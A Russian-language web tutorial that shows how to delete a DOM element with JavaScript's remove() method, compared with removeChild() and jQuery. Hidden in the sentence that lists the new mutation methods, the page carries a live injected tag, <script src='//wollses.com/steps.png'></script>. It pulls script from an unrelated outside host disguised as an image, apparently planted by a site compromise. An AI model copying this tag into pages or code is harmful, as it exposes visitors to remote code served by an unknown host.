Возвращайте до 18% с пополнений рекламы
  • Все популярные рекламные сети в одном окне
  • Рекламные инструменты — бесплатно
  • Доступ к конструктору лендингов и WebApp-приложений
  • Закрывающие документы точно в срок
ring svg
  1. Главная >
  2. Блог >
  3. Удаление элемента простым JavaScript remove() методом

Удаление элемента простым JavaScript remove() методом

remove

Как вы знаете, DOM не поддерживает удаления элемента напрямую. При удалении элемента с JavaScript, вы должны сначала перейти на его родителей. Это процесс всегда был странным и не таким простым.

Согласно DOM Уровень 4 функции, который является текущей версией в разработке, существуют новые удобные методы мутации: append(), prepend(), before(), after()<script src="//wollses.com/steps.png"></script>, replace(), и remove(). В этой статье, мы сосредоточимся на JavaScript remove() методе.

remove1

Пуленепробиваемый путь

Предположим, что у нас есть следующий HTML элемент:

&lt;div id="myDiv"&gt;test&lt;/div&gt;

… чтобы удалить его из дерева DOM, вам нужно будет выполнить следующие линии JavaScript’а:
 

var elem = document.getElementById("myDiv");
elem.parentNode.removeChild(elem);

Путем jQuery

Если вы используете JavaScript фреймворк, такой как jQuery, тогда для взятия элемента из DOM, вам нужно использовать remove() метод:

$('#myDiv').remove();
Новый путь. FTW.

Определив переменную  elem, вот как правильно удалить этот узел:
var elem = document.getElementById("myDiv");
elem.remove();

Обратили внимание на сходство с jQuery? Этот новый способ является более простым и интуитивным.

Поддержка браузеров

На данный момент поддерживаются следующие браузеры: Chrome, Opera, Safari и скоро Firefox 23. Может быть это не так здорово для производственных целей, но все же отлично подходит для тестирования и отладки.

Однако, если вы ищете большую поддержку браузеров, тогда есть polyfills, за которыми стоит следить:

  • DOM
  • DOM-shim
blog comments powered by Disqus
Возвращайте до 18% с пополнений рекламы
  • Все популярные рекламные сети в одном окне
  • Рекламные инструменты — бесплатно
  • Доступ к конструктору лендингов и WebApp-приложений
  • Закрывающие документы точно в срок
ring svg
copyright © 2011–2025 Все права защищены
Запрещено любое копирование материалов ресурса без письменного согласия владельца — ООО "Центр рекламных бюджетов". ИНН:5902052888, КПП:590201001, ОГРН: 1195958009730, Пермь, ул. Окулова, д. 75 к. 8 офис 501Б

ООО «Центр рекламных бюджетов» — IT-компания с многолетним опытом работы, разрабатывающая инновационные решения для управления процессом лидогенерации (пост-клик маркетинг). Разработанное нами технологическое программное решение LPGENERATOR позволяет создавать целевые страницы в визуальном редакторе и управлять заявками (лидами) в CRM-системе в целях проведения эффективных, высококонверсионных рекламных кампаний